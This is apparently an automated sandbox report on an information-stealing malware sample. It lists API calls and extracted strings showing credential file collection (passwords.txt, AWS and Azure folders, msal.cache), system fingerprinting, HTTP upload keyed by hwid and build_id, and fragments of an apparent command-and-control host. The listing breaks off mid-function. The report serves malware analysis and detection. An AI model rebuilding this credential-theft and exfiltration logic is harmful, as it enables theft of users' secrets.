Function 00408533 Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 231
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00411C1F: GetSystemTime.KERNEL32(?,004366E2,?), ref: 00411C4E

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

CopyFileA.KERNEL32(?,?,00000001), ref: 004085D8
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040862D
RtlAllocateHeap.NTDLL(00000000), ref: 00408634
lstrlenA.KERNEL32(?), ref: 004086D2
lstrcatA.KERNEL32(?), ref: 004086EB
lstrcatA.KERNEL32(?,?), ref: 004086F5
lstrcatA.KERNEL32(?,0043719C), ref: 00408701
lstrcatA.KERNEL32(?,?), ref: 0040870B
lstrcatA.KERNEL32(?,004371A0), ref: 00408717
lstrcatA.KERNEL32(?), ref: 00408724
lstrcatA.KERNEL32(?,?), ref: 0040872E
lstrcatA.KERNEL32(?,004371A4), ref: 0040873A
lstrcatA.KERNEL32(?), ref: 00408747
lstrcatA.KERNEL32(?,?), ref: 00408751
lstrcatA.KERNEL32(?,004371A8), ref: 0040875D
lstrcatA.KERNEL32(?), ref: 0040876A
lstrcatA.KERNEL32(?,?), ref: 00408774
lstrcatA.KERNEL32(?,004371AC), ref: 00408780
lstrcatA.KERNEL32(?,004371B0), ref: 0040878C
lstrlenA.KERNEL32(?), ref: 004087C5
DeleteFileA.KERNEL32(?), ref: 00408812

Strings

passwords.txt, xrefs: 004087D5

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID: passwords.txt
API String ID: 1956182324-347816968
Opcode ID: 008e8c39cc3674f3724c224db5a7feafcffbc63239d7bfaab6de3a26047a72a8
Instruction ID: 536a68b7eef2ba26c00b18e9acfc7c680cb774552cc455c72716e410e890dfb9
Opcode Fuzzy Hash: 008e8c39cc3674f3724c224db5a7feafcffbc63239d7bfaab6de3a26047a72a8
Instruction Fuzzy Hash: C9813A32900208BBCF15FBA1ED4A9DD7B76AF08306F105026F601B31B1DBBA5E559B99

Function 00401666 Relevance: 35.1, APIs: 18, Strings: 2, Instructions: 129memoryfileCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401696
wsprintfW.USER32 ref: 004016BC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016E6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016FE
RtlAllocateHeap.NTDLL(00000000), ref: 00401705
_time64.MSVCRT ref: 0040170E
srand.MSVCRT ref: 00401715
rand.MSVCRT ref: 0040171E
_memset.LIBCMT ref: 0040172E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401746
_memset.LIBCMT ref: 00401763
CloseHandle.KERNEL32(?), ref: 00401771
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040178D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 004017A9
_memset.LIBCMT ref: 004017BE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017C8
RtlFreeHeap.NTDLL(00000000), ref: 004017CF
CloseHandle.KERNEL32(?), ref: 004017DB

Strings

delays.tmp, xrefs: 004016A4
%s%s, xrefs: 004016B6

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileHeap$_memset$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1620473967-1413376734
Opcode ID: 820f1e7ba494bd61ac6bf0e814630c16787a7429a39b3548041dc5c13d7d5828
Instruction ID: 61b7e4c89c3b78e1bbd4172251f200a6202653691bf2d5690fb9ae43eadc8d0c
Opcode Fuzzy Hash: 820f1e7ba494bd61ac6bf0e814630c16787a7429a39b3548041dc5c13d7d5828
Instruction Fuzzy Hash: CE41C8B1D00218ABD7205F61AC4CF9F7B7DEB89715F1012BAF009E11A1DA354A54CF28

Function 00404B2E Relevance: 33.6, APIs: 12, Strings: 7, Instructions: 378networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104EE: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004177AD), ref: 0041050D

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
StrCmpCA.SHLWAPI(?), ref: 00404BEB
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404D83
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00404DC7
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00404DF5

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

lstrlenA.KERNEL32(?,00436947,",build_id,004377BC,------,004377B0,",hwid,0043779C,------), ref: 004050EE
lstrlenA.KERNEL32(?,?,00000000), ref: 00405101
HttpSendRequestA.WININET(00000000,?,00000000), ref: 0040510F
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040516C
InternetCloseHandle.WININET(00000000), ref: 00405177
InternetCloseHandle.WININET(?), ref: 0040518E
InternetCloseHandle.WININET(?), ref: 0040519A

Strings

------, xrefs: 00404C75
", xrefs: 00404ED9
hwid, xrefs: 00404EAD
------, xrefs: 00404DFB
------, xrefs: 00404F5B
", xrefs: 00405039
build_id, xrefs: 0040500D

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileOptionReadSend
String ID: "$"$------$------$------$build_id$hwid
API String ID: 3006978581-3960666492
Opcode ID: b26da64760340284cf0e1a389c980c0f2f0bbf0619c8fa29417fdc3f6536b416
Instruction ID: 82341b1e9ceb90a360bae6b2b4795e4db786059c8bf85b476d97687f296100b2
Opcode Fuzzy Hash: b26da64760340284cf0e1a389c980c0f2f0bbf0619c8fa29417fdc3f6536b416
Instruction Fuzzy Hash: BC028171D1512A9BCB20EB21CD46ADDB7B5FF04748F0190E6A54877152CAB87ECA8FC8

Function 004117DC Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 143memorycomtimeCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004117E3
CoInitializeEx.OLE32(00000000,00000000,0000004C,00413F39,Install Date: ,004368B8,00000000,Windows: ,004368A8,Work Dir: In memory,00436890), ref: 004117F4
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00411805
CoCreateInstance.OLE32(00432F00,00000000,00000001,00432E30,?), ref: 0041181F
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411855
VariantInit.OLEAUT32(?), ref: 004118B0

Part of subcall function 0041172C: __EH_prolog3_catch.LIBCMT ref: 00411733
Part of subcall function 0041172C: CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B00C,?,00000018,004118D6,?), ref: 00411756
Part of subcall function 0041172C: SysAllocString.OLEAUT32(?), ref: 00411763
Part of subcall function 0041172C: _wtoi64.MSVCRT ref: 00411796
Part of subcall function 0041172C: SysFreeString.OLEAUT32(?), ref: 004117AF
Part of subcall function 0041172C: SysFreeString.OLEAUT32(00000000), ref: 004117B6

FileTimeToSystemTime.KERNEL32(?,?), ref: 004118DF
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004118EB
HeapAlloc.KERNEL32(00000000), ref: 004118F2
VariantClear.OLEAUT32(?), ref: 00411931
wsprintfA.USER32 ref: 0041191E

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Strings

InstallDate, xrefs: 004118C2
ROOT\CIMV2, xrefs: 00411837
WQL, xrefs: 0041186F
%d/%d/%d %d:%d:%d, xrefs: 00411918
Select * From Win32_OperatingSystem, xrefs: 0041186A
Unknown, xrefs: 0041195A
Unknown, xrefs: 00411946
Unknown, xrefs: 0041193F

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileH_prolog3_catchH_prolog3_catch_InitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 2280294774-461178377
Opcode ID: e4e81807fbf7fe9523cad8b10a19950e4bc3ba6a15c74dfeb46019d0c9263f6d
Instruction ID: db99f3ec71cbfa89bd8d8c5389e41edfa11349f05b1137792e0f294ef496a485
Opcode Fuzzy Hash: e4e81807fbf7fe9523cad8b10a19950e4bc3ba6a15c74dfeb46019d0c9263f6d
Instruction Fuzzy Hash: FB415171900205BBDB10DBD5DC89EEFBBBDEFC9B11F20411AF611A61A0D6789941CB38

Function 004164FF Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 114stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00416524

Part of subcall function 00411D91: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DD2

lstrcatA.KERNEL32(?,00000000,?,00000000,?), ref: 00416543
lstrcatA.KERNEL32(?,\.azure\), ref: 00416560

Part of subcall function 00416013: wsprintfA.USER32 ref: 0041605A
Part of subcall function 00416013: FindFirstFileA.KERNEL32(?,?), ref: 00416071
Part of subcall function 00416013: StrCmpCA.SHLWAPI(?,00436ABC), ref: 00416092
Part of subcall function 00416013: StrCmpCA.SHLWAPI(?,00436AC0), ref: 004160AC
Part of subcall function 00416013: wsprintfA.USER32 ref: 004160D3
Part of subcall function 00416013: StrCmpCA.SHLWAPI(?,00436647), ref: 004160E7
Part of subcall function 00416013: wsprintfA.USER32 ref: 00416104
Part of subcall function 00416013: PathMatchSpecA.SHLWAPI(?,?), ref: 00416131
Part of subcall function 00416013: lstrcatA.KERNEL32(?), ref: 00416167
Part of subcall function 00416013: lstrcatA.KERNEL32(?,00436AD8), ref: 00416179
Part of subcall function 00416013: lstrcatA.KERNEL32(?,?), ref: 0041618C
Part of subcall function 00416013: lstrcatA.KERNEL32(?,00436ADC), ref: 0041619E
Part of subcall function 00416013: lstrcatA.KERNEL32(?,?), ref: 004161B2

_memset.LIBCMT ref: 00416598
lstrcatA.KERNEL32(?,00000000), ref: 004165BA
lstrcatA.KERNEL32(?,\.aws\), ref: 004165D7

Part of subcall function 00416013: wsprintfA.USER32 ref: 0041611B
Part of subcall function 00416013: CopyFileA.KERNEL32(?,?,00000001), ref: 0041626B
Part of subcall function 00416013: DeleteFileA.KERNEL32(?), ref: 004162DF
Part of subcall function 00416013: FindNextFileA.KERNEL32(?,?), ref: 00416341
Part of subcall function 00416013: FindClose.KERNEL32(?), ref: 00416355

_memset.LIBCMT ref: 0041660C
lstrcatA.KERNEL32(?,00000000), ref: 0041662E
lstrcatA.KERNEL32(?,\.IdentityService\), ref: 0041664B
_memset.LIBCMT ref: 00416680

Strings

Azure\.IdentityService, xrefs: 0041665B
msal.cache, xrefs: 00416660
*.*, xrefs: 00416578
Azure\.aws, xrefs: 004165E7
*.*, xrefs: 004165EC
\.aws\, xrefs: 004165CB
Azure\.azure, xrefs: 00416573
\.IdentityService\, xrefs: 0041663F
\.azure\, xrefs: 00416554

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memsetwsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 780282842-974132213
Opcode ID: 05a745780dc4331e7a01d26ef552109a27bfc1aac6297cc6218e18bbe709eec3
Instruction ID: 7e27a3cebc04104317c4296e2fa94507ccdbbf8e03ba376e9605ba8870e2e08e
Opcode Fuzzy Hash: 05a745780dc4331e7a01d26ef552109a27bfc1aac6297cc6218e18bbe709eec3
Instruction Fuzzy Hash: ED41B671D4021D7ADB24EB60EC47FDD7778AB08304F5444AAB605E70D1DAB8AB848F58

Function 0040ABBA Relevance: 33.3, APIs: 22, Instructions: 315stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00411C1F: GetSystemTime.KERNEL32(?,004366E2,?), ref: 00411C4E

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 0041059C: lstrcpyA.KERNEL32(00000000,?,0000000C,00417775,004366D6), ref: 004105CA
Part of subcall function 0041059C: lstrcatA.KERNEL32(?,?), ref: 004105D4

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

CopyFileA.KERNEL32(?,?,00000001), ref: 0040AC5F
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AD69
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD70
StrCmpCA.SHLWAPI(?,004373D4,00000000), ref: 0040AE21
StrCmpCA.SHLWAPI(?,004373D8), ref: 0040AE49
lstrcatA.KERNEL32(00000000,?), ref: 0040AE6D
lstrcatA.KERNEL32(00000000,004373DC), ref: 0040AE79
lstrcatA.KERNEL32(00000000,?), ref: 0040AE83
lstrcatA.KERNEL32(00000000,004373E0), ref: 0040AE8F
lstrcatA.KERNEL32(00000000,?), ref: 0040AE99
lstrcatA.KERNEL32(00000000,004373E4), ref: 0040AEA5
lstrcatA.KERNEL32(00000000,?), ref: 0040AEAF
lstrcatA.KERNEL32(00000000,004373E8), ref: 0040AEBB
lstrcatA.KERNEL32(00000000,?), ref: 0040AEC5
lstrcatA.KERNEL32(00000000,004373EC), ref: 0040AED1
lstrcatA.KERNEL32(00000000,?), ref: 0040AEDB
lstrcatA.KERNEL32(00000000,004373F0), ref: 0040AEE7
lstrcatA.KERNEL32(00000000,?), ref: 0040AEF1
lstrcatA.KERNEL32(00000000,004373F4), ref: 0040AEFD
lstrlenA.KERNEL32(00000000), ref: 0040AF4F
lstrlenA.KERNEL32(?), ref: 0040AF6A
DeleteFileA.KERNEL32(?), ref: 0040AFAD

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 9638e49814318a03725dbbb79c7d88dd2436a24dac8bdc88ee7113c1f82db6cc
Instruction ID: 55216650b863822d65479c506a4dcccb7e4ce4a509e1e20c7d7d020bfa3baaf7
Opcode Fuzzy Hash: 9638e49814318a03725dbbb79c7d88dd2436a24dac8bdc88ee7113c1f82db6cc
Instruction Fuzzy Hash: EDC14E32904209ABDF15FBA1ED4A9DD7B76EF04305F10502AF501B30B2DBB96E859B89

Function 004171CD Relevance: 29.0, APIs: 8, Strings: 8, Instructions: 1029networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 004104BC: lstrcpyA.KERNEL32(00000000,00000000,?,00417207,004366BA,?,?,?,?,0041871B), ref: 004104E2

Part of subcall function 00410C28: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C34
Part of subcall function 00410C28: HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C3B
Part of subcall function 00410C28: GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C4F

Part of subcall function 004105DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 004105F2
Part of subcall function 004105DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 0041061A
Part of subcall function 004105DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417228,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410625

Part of subcall function 00410562: lstrcpyA.KERNEL32(00000000,?,00000000,00417246,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00410592

CloseHandle.KERNEL32(00000000,?,?,?,?,0041871B), ref: 00417269
OpenEventA.KERNEL32(001F0003,00000000,?,00436C20,00000000,004366BA,?,?,?,?,0041871B), ref: 00417278
CreateDirectoryA.KERNEL32(?,00000000,004366D6), ref: 00417796
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00417857
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00417870

Part of subcall function 00404B2E: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00404BCD
Part of subcall function 00404B2E: StrCmpCA.SHLWAPI(?), ref: 00404BEB

Part of subcall function 00413A02: StrCmpCA.SHLWAPI(?,block,?,?,004178D0), ref: 00413A17
Part of subcall function 00413A02: ExitProcess.KERNEL32 ref: 00413A22

Part of subcall function 00405F39: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00405FD8
Part of subcall function 00405F39: StrCmpCA.SHLWAPI(?), ref: 00405FF6

Part of subcall function 004131D8: strtok_s.MSVCRT ref: 004131F7
Part of subcall function 004131D8: strtok_s.MSVCRT ref: 0041327A

Sleep.KERNEL32(000003E8), ref: 00417C26

Part of subcall function 00405F39: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040618E
Part of subcall function 00405F39: HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 004061D2
Part of subcall function 00405F39: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406200

CreateEventA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,0041871B), ref: 0041728C

Part of subcall function 00412554: __EH_prolog3_catch_GS.LIBCMT ref: 0041255E
Part of subcall function 00412554: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417FBD,.exe,00436CD4,00436CD0,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC), ref: 0041257D
Part of subcall function 00412554: Process32First.KERNEL32(00000000,00000128), ref: 0041258D
Part of subcall function 00412554: Process32Next.KERNEL32(00000000,00000128), ref: 0041259F
Part of subcall function 00412554: StrCmpCA.SHLWAPI(?), ref: 004125B1
Part of subcall function 00412554: CloseHandle.KERNEL32(00000000), ref: 004125C5

CloseHandle.KERNEL32(?), ref: 0041818C

Strings

http://, xrefs: 00417FE3
.exe, xrefs: 00417F90
cowod., xrefs: 00418007
.exe, xrefs: 004176D5
org, xrefs: 00418073
hopto, xrefs: 0041802B
4a5bc8b73e12425adc3c399da8136891, xrefs: 00417898
_DEBUG.zip, xrefs: 004180C1

Memory Dump Source

Source File: 00000001.00000002.2226316788.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2226316788.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2226316788.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InternetOpen$CloseCreateHandlelstrcpy$EventHeapProcessProcess32strtok_s$AllocConnectDirectoryExitFirstH_prolog3_catch_HttpNameNextOptionRequestSleepSnapshotToolhelp32Userlstrcatlstrlen
String ID: .exe$.exe$4a5bc8b73e12425adc3c399da8136891$_DEBUG.zip$cowod.$hopto$http://$org
API String ID: 305159127-2913889034
Opcode ID: 00521fe82851a7a6fa0f3ad988e7a8d7c50026c094090131c024817eb871e049
Instruction ID: fb67ed52a566258944bc7159f6d5f5ff2adad2422d960339d8edaa747ad890e2
Opcode Fuzzy Hash: 00521fe82851a7a6fa0f3ad988e7a8d7c50026c094090131c024817eb871e049
Instruction Fuzzy Hash: DC923F715083459BC620FF25D94268EB7E1FF84708F51482FF58477191DBB8AA8E8B8B

Function 004135E8 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 262stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041362A
StrCmpCA.SHLWAPI(?,true), ref: 004136EC

Part of subcall function 0041051E: lstrlenA.KERNEL32(?,?,00417300,004366BE,004366BB,?,?,?,?,0041871B), ref: 00410524
